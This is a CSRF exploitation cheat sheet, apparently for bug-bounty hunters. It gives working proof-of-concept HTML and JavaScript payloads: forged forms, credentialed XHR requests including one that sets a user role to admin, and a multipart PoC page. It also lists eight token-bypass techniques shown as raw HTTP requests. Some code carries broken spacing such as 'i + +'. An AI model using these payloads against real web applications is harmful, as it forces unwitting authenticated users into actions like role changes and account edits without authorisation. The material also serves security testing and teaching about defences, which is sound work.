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# Cross Site Request Forgery (CSRF)
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## Introduction
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated
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## Where to find
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Usually found in forms. Try submit the form and check the HTTP request. If the HTTP request does not have a CSRF token then it is likely to be vulnerable to a CSRF attack.
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## How to exploit
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1. HTML GET Method
```html
< a href = "http://www.example.com/api/setusername?username=uname" > Click Me< / a >
```
2. HTML POST Method
```html
< form action = "http://www.example.com/api/setusername" enctype = "text/plain" method = "POST" >
< input name = "username" type = "hidden" value = "uname" / >
< input type = "submit" value = "Submit Request" / >
< / form >
```
3. JSON GET Method
```html
< script >
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
< / script >
```
4. JSON POST Method
```html
< script >
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
< / script >
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```
5. Multipart request
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```html
< head >
< title > Multipart CSRF PoC< / title >
< / head >
< body >
< br >
< hr >
< h2 > Click Submit request< / h2 > < br >
< script >
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://example/api/users", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------149631704917378");
xhr.withCredentials = true;
var body = "-----------------------------149631704917378\r\n" +
"Content-Disposition: form-data; name=\"action\"\r\n" +
"\r\n" +
"update\r\n" +
"-----------------------------149631704917378\r\n" +
"Content-Disposition: form-data; name=\"user_id\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------149631704917378\r\n" +
"Content-Disposition: form-data; name=\"uname\"\r\n" +
"\r\n" +
"daffainfo\r\n" +
"-----------------------------149631704917378\r\n" +
"Content-Disposition: form-data; name=\"first_name\"\r\n" +
"\r\n" +
"m\r\n" +
"-----------------------------149631704917378\r\n" +
"Content-Disposition: form-data; name=\"last_name\"\r\n" +
"\r\n" +
"daffa\r\n" +
"-----------------------------149631704917378--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length ; i + + )
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
< / script >
< form action = "#" >
< input type = "button" value = "Submit request" onclick = "submitRequest();" / >
< / form >
< br >
< / body >
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```
# Bypass CSRF Token
But in some cases, even though there is a CSRF token on the form on the website. CSRF tokens can still be bypassed by doing a few things:
1. Change single character
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=aaaaaaaaaaaaaaaaaaaaab
```
2. Sending empty value of token
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=
```
3. Replace the token with same length
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=aaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=aaabaa
```
4. Changing POST / GET method
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
GET /register?username=dapos& password=123456& token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
Host: target.com
...
```
5. Remove the token from request
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456
```
6. Use another user's valid token
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=ANOTHER_VALID_TOKEN
```
7. Try to decrypt hash
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=MTIzNDU2
```
MTIzNDU2 => 123456 with base64
8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=vi802jg9f8akd9j123
```
When we register again, the request like this
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos& password=123456& token=vi802jg9f8akd9j124
```
If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part
